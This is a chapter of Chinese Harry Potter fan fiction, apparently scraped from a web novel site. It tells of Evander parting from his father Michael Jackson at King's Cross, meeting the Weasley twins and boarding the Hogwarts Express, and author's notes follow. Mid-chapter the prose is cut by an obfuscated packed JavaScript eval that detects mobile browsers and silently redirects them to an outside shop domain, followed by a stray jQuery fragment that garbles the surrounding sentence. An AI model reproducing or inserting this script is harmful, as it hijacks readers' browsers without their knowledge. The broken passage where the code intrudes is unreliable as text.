到了开学这一天,迈克尔执意要送埃凡德去车站,直到看着他上了霍格沃茨特快才肯打道回府。

    所以埃凡德没有穿着他那身新定做的巫师袍,而是穿着一身棕色的夹克和牛仔裤——万一被什么人认出来,他可不想被媒体报道“迈克尔让自己的儿子在公众场合穿着古怪的袍子”。

    等到了国王十字车站,他们循着车票上奇怪的数字找过去:一个站台上挂着一块大大的9字塑料牌,另一个站台上挂着大大的10字塑料牌,而两者中间什么也没有。

    “按照邓布利多说的,两个站台之间的第三个柱子……哦,艾娃,看他们,那边红头发的一家人!”

    埃凡德转过头去,一群红色的脑袋攥住了他的视线。

    “……每到这一天,车站里就满是麻瓜,”和蔼可亲的中年妇女正在和孩子们说话,想必她就是莫莉·韦斯莱夫人,“好了,是几号站台?”

    “九又三分之四,你怎么每年都要问一遍这个问题,妈妈,”一个红头发的男孩牵着妈妈的手,声音细微,埃凡德努力回忆着这应该是韦斯莱兄弟之中的哪一个,从年龄推断似乎是罗恩,“真羡慕弗雷德和乔治,他们今年就能去霍格沃茨……”

    “因为妈妈担心家里有某些笨蛋——”

    “会在麻瓜的车站里迷路——”

    一唱一和,这肯定是弗雷格和乔治这对双胞胎兄弟。

    “然后被神秘的邪恶巫师拐走杀掉——”(可能是弗雷德,或者乔治)

    “毕竟不是每个韦斯莱都和珀西一样聪明——”(可能是乔治,或者弗雷德)

    “小心点,妈妈亲爱的小罗尼!”(兄弟两人异口同声)

    “弗雷德,乔治,别对你们的弟弟开这种玩笑!”发起怒来的莫莉像一只咆哮的母狮,一头红发仿佛熊熊燃烧了起来。

    “抱歉,我们下次一定不会这么做了,妈妈!”

    兄弟两个再次异口同声地说出了这句话,还像模像样地对罗恩鞠了个躬。

    “他们真有意思,对吧?”迈克尔悄悄对埃凡德耳语,“那对双胞胎!他们默契得像是同一个人,说话像是在对唱。”

    埃凡德突然注意到双胞胎之中的一个开始对这边挤眉弄眼起来——然后他拍了拍自己的兄弟。接着,目光像是病毒一样在这群红头发之间传播开来。

    所有的韦斯莱都看向了这边。

    埃凡德用手肘轻轻碰了碰迈克尔,然后从容地拎着手提箱朝他们走过去。

    “抱歉,夫人,”埃凡德先行致意,“我和我父亲是第一次来这里,不是有意偷听你们的谈话。”

    “没关系,亲爱的,你真是个有礼貌的孩子!”莫莉夫人笑呵呵地回答了埃凡德的话,“你也是去霍格沃茨的新生,对吧?”

    “是的,”埃凡德点点头,向莫莉介绍迈克尔,“这是我的父亲,迈克尔·杰克逊。我叫埃凡德·杰克逊。”

    “很高兴见到你,杰克逊先生,”莫莉热情地伸出手同迈克尔握了握,“你们是不知道九又四分之三怎么走,对吧?别担心,你只要照直朝第9和第10站台之间的隔墙走就是了。别停下来,别害怕,照直往里冲,这很重要。”

    说到这里,她停下来,扭头拍了拍双胞胎的其中一个人的肩膀:

    “我们家弗雷德和乔治也是今年的新生。弗雷德,给他们打个样!”

    “我不是弗雷德,我是乔治。”那个男孩说,“说实在的,您说您是我们的母亲,可为什么您认不出我是乔治呢?”

    “对不起,乔治,亲爱的。”

    “开个玩笑,我是弗雷德。”这孩子说完就朝前走了。

    “妈妈,别听他胡说,我才是弗雷德!”另一个男孩笑嘻嘻地说。

    “梅林在上,你们真是把我搞糊涂了!”莫莉看起来又要生气了,“乔治——或者弗雷德!快走!”

    “抱歉,妈妈,我是乔治,别生气,”乔治也往墙里冲了进去,“爱你哟!”

    “让你们见笑了,他们总是这样!”虽然莫莉这么说,但她的脸上笑容灿烂——她很爱她的孩子们,这毫无疑问。

    “他们很有趣,”迈克尔同样微笑着回应,“虽然作为他们的母亲,您一定为他们操了不少心。我看得出来,您很爱他们。”

    “杰克逊先生,您说话就像唱歌一样好听,”莫莉咯咯笑了起来,“是呀,只要他们兄弟两个在家,我就一刻不得安生……”

    “妈妈,”另一个瘦瘦高高的男孩突然开口了,“注意时间。”

    莫莉被儿子突然的打断一惊,然后抬头看了一眼火车站墙面上的时钟:

    “天啊,谢谢你,珀西,还有十分钟就开车了!”

    接着,她又转头看向埃凡德:

    “你们先走吧,孩子。”

    埃凡德点点头,转向迈克尔。两个人站在第九和第十站台交界的那个石柱面前。

    “你紧张吗,艾娃?”

    迈克尔是被巫师们归为麻瓜的那一类人——他没办法穿过九又四分之三的石墙,走到另一个世界里去。

    “或许有一点吧。”埃凡德听见自己的心跳在耳边回响,像是《Smooth Criminal》的激烈鼓点。

    “拥抱一下?”

    迈克尔张开双臂,埃凡德把手提箱丢在地上,如同拥抱一只玩具熊一般扑进迈克尔的怀里。

    “……天啊,你都长这么大了,”埃凡德看不见迈克尔的脸,却能听见他的声音带了一些鼻音,“我第一次见到你的时候,你那么可爱,像是个洋娃娃。”

    “我的确长大了,迈克尔,”埃凡德不由得也鼻子发酸,“我一定会长的比你还要高。我不在的时候,你一定要照顾好自己,注意按时用药,别随便轻信别人,有事情一定要给我写信……”

    “你一定会长得比我还高,我会照顾好自己的,会按时用药,不会随便相信别人,我会一直写信直到你厌烦……你不要嫌弃我才好,艾娃。”

    “我怎么会厌烦你呢,迈克尔?你知道我永远不会有这种感觉。”

    “……”

    迈克尔此刻却不能肯定这句誓言了。

    自从他们的生活和魔法的世界正式接轨,他就感到自己是被这个世界排除在外的人。

    年长的巫师们见到埃凡德,总是会连带着想到他的父亲或者母亲——就像是邓布利多和破釜酒吧的老板汤姆。

    六月份去对角巷采购时,汤姆送给埃凡德的信封里装着的是一张照片和一个金加隆。那是迈克尔第一次见到魔法界的照片:照片里的兰登·斯科特正站在汤姆的身边,紧绷着一张脸,看得出来有些不好意思,眼神躲避着镜头,手里还紧紧攥着一个空玻璃杯。

    而在家里,埃凡德和哈利整个假期都在讨论魔法的话题:他们阅读书籍和笔记、用魔杖尝试施法,向对角巷写信定购一些魔药材料、下巫师棋用以娱乐……迈克尔体会到了魔法的神奇和便利,但他却不是创造这种便利的人。

    甚至现在,他都没有办法亲眼看着自己的孩子安全上车——因为他是个不会魔法、没有天赋的人。

    一种患得患失的感觉萦绕在迈克尔周围。他再次感觉到自己会失去这个孩子:他会长大,会离开他,这次却不是因为他要独立或者和另一个人缔结一段亲密的关系,而是因为他要走入一个与他无关的魔法世界。

    迈克尔多想请求他留在自己身边——可他不能。如果不是因为1980年的意外,埃凡德本就应该属于那个世界,倒不如说,这九年时光已经是上帝赐予他的礼物。

    魔法的世界是那么美好、那么神奇、那么丰富多彩,怎么会有人不心驰神往呢?

    迈克尔曾经说过,他宁愿让自己受到伤害,也不愿让孩子们受伤。直至现在,他也依然这么想:他宁愿自己承受分别和失去的痛苦,也不想他的艾娃因为这种自私的情感而被困在他身边。

    “你又在想什么?”埃凡德若有所觉,轻轻拍了拍他的背,“你知道可以对我说任何事,迈克尔。”

    “不,没什么。我只是有点舍不得你。”

    “我知道,因为我也是,”埃凡德挣开迈克尔的怀抱,扶着他的肩膀,定定地看了他一会儿,“你知道你永远不用担心失去我,对吧?不论我会不会魔法,我最爱的人都只有你一个。”

    迈克尔勉强维持着的镇定终于破碎了。他紧紧抱住埃凡德,把脸埋在他的肩膀上——埃凡德比他矮了半个头,这样的姿势有些别扭,但他实在是不想让任何人看到自己哭泣的样子,尤其是在公共场合。

    “我……我本来不想哭的……”

    “我知道,这都怪我。是我让你没有安全感,是不是?我保证等到了霍格沃茨,我每天都会给你写信,甚至一天写好几封,那怕你厌烦我也不会停止。”

    “那怎么可能呢?”迈克尔破涕为笑,“我们只有两只猫头鹰,你还把里昂(猫头鹰名字)留在家里呢。”

    “……”

    两人之间沉默半晌,迈克尔又控制住了自己的情绪——火车马上就要开了,埃凡德可不能错过这趟列车。

    “你该走了,艾娃。”迈克尔最终放开怀抱。

    埃凡德最后仔细端详了一下迈克尔的面庞,像是要把他此刻的表情刻印在心中。

    “要想我,迈克尔,”埃凡德弯腰拎起手提箱,一步步倒退着,“要记得给我写信。别怕累着里昂和艾达,如果不让它们多运动运动,它们迟早会被你喂成小猪。”

    迈克尔又一次被逗笑了,带着他仍旧泛红的眼眶。

    埃凡德慢慢地穿过了那堵墙——等他回过神来,男人的身影已经消失了,只剩下国王十字车站的红色砖石映在眼中。

    回过头,一辆深红色蒸汽机车停靠在挤满旅客的站台旁。列车上挂的标牌写着:霍格沃茨特快列车,十一点。回头一看,原来是隔墙的地方现在竟成了一条锻铁拱道,上边写着:九又四分之三

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654363|204369||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    站台。

    蒸汽机车的浓烟在叽叽喳喳的人群上空缭绕,各种花色的猫在人们脚下穿来穿去。在人群嗡嗡的说话声和拖拉笨重行李的嘈杂声中,猫头鹰也刺耳地鸣叫着,你呼我应。

    头几节车厢已经挤满了学生,他们有的从车窗探出身来和家人说话,有的在座位上打闹。

    站在热闹的人群中,埃凡德却感觉这些声音离他很远。

    几乎有那么一瞬间——只是一瞬间——埃凡德有一种冲动:立刻丢下行李箱,穿越那堵墙,再一次紧紧抱住他。但是他忍住了。

    他步履沉重地踏上火车,却没有第一时间去找一个包厢坐下,而是望着那熙熙攘攘的站台。

    火车启动了。埃凡德看着那张熟悉的面容仿佛也在蒸汽之中逐渐模糊了。

    “嘿,小杰克逊!”

    几乎是红发男孩的手要拍在他肩膀上的一瞬间,埃凡德突然侧身,牢牢抓住了那只手。

    双胞胎之中的某一位——可能是弗雷德,或者乔治——惊讶地瞪大了眼睛和嘴巴。

    “你的反应真快,朋友,”他赞叹道,“肯定比魔法部的那些傲罗施法的动作还快!”

    “他刚才还是倒着穿过站台的呢,兄弟,”另一位兴奋地附和,“没有撞到任何人!太酷了!”

    “谢谢你们的夸赞,”埃凡德松开了手,看着一开始准备搭住他肩膀的那个韦斯莱,明智地没有喊任何一个名字,“其实我的后脑勺上长了另一张脸,所以千万别从背后接近我——万一被我的第二张嘴咬到就不好了。它会把你们连骨带肉一起吃掉。”

    “哇偶——”

    “这听起来真是——”

    “太酷了!”

    双胞胎击了个掌,然后一人一边揽住了埃凡德的肩膀——这一次,埃凡德没阻止他们。

    “这听起来比狼人和吸血鬼还吓人!如果我们能在决斗里打败你,说不定也能获得一枚梅林爵士团勋章——”

    “别这么说,乔治,我怀疑你在内涵什么!妈妈听见一定会生气的!”

    “是吗,兄弟?这真是太可怕了!妈妈会因为这件事给我一个摄魂怪的吻吗?”

    “可能是一个狐媚子的吻!”

    …………

    在韦斯莱兄弟的背景音里,埃凡德终于找到了一个还有空位的车厢——里面坐着一个英俊的男孩,一个看上去像中东人的男孩,还有一个应该是高年级学生的斯莱特林。

    埃凡德礼貌地敲了敲包厢的门——离门比较近的英俊男孩拉开了门。

    “我能坐在这里吗?”埃凡德询问。

    英俊男孩立刻看向其他两个人。

    “我没问题,欢迎!”中东男孩举了举手里的书,埃凡德注意到他带着纯金的项链和宝石戒指。

    “我也一样。”斯莱特林的学长耸了耸肩,一副无所谓的态度,但他一直在盯着埃凡德的脸看。

    “请进吧,”英俊男孩站起身,想要帮忙拿过埃凡德的行李,“需要我帮你放行李吗——哦,弗雷德和乔治,你们也在!”

    “很高兴见到你,英俊的迪戈里先生——”

    “你还是这么乐于助人——”

    “妈妈一定很想换你作为他的儿子!”

    “别这么说,”塞德里克·迪戈里有些无奈地应对着双子的调侃,“你们知道她——”

    “很爱我们!”

    “当然,毫无疑问!”

    “所以这只是个玩笑!”

    “别紧张,塞德里克——”

    “招待好我们的新朋友!”

    “霍格沃茨再见——”

    “我们相信你一定能打赢一头巨龙!”

    双子蹦蹦跳跳地走远了。

    ————————

    本章注释:

    1.埃凡德说自己的后脑勺还有一张脸,叫韦斯莱兄弟别从背后接近,以免被第二张嘴巴吃掉。这其实是用了《佩小姐的奇幻城堡》里的一个设定。

    2.有关塞德里克的年纪,以防有人疑惑,我这里贴一段火焰杯原文:

    【当哈利来到大理石楼梯底部时,塞德里克已经和他那一大帮六年级同学们一起到了顶上。】

    通过这里可知,哈利四年级时(1994年),塞德里克六年级,那么他应该是1989年入学的,和弗雷德/乔治同一个年级。

    可是文中又说,弗雷德和乔治的年纪未满17岁。双胞胎的生日是4月1日,所以塞德里克肯定出生于1977年9月到1978年4月之间。

    3.塞德里克和双子的关系是我的私设。原著里并没有表现出他们很熟悉,只知道亚瑟和阿莫斯(两方的父亲)很熟悉。

    火焰杯里写双子似乎把三年级对赫奇帕奇那场比赛的失败怪在了塞德里克的头上(实际上,在哈利被摄魂怪吓晕之后,塞德里克有要求重赛),他们一直不和塞德里克说话。所以这里设定他们是互相认识的,并且有一点交际。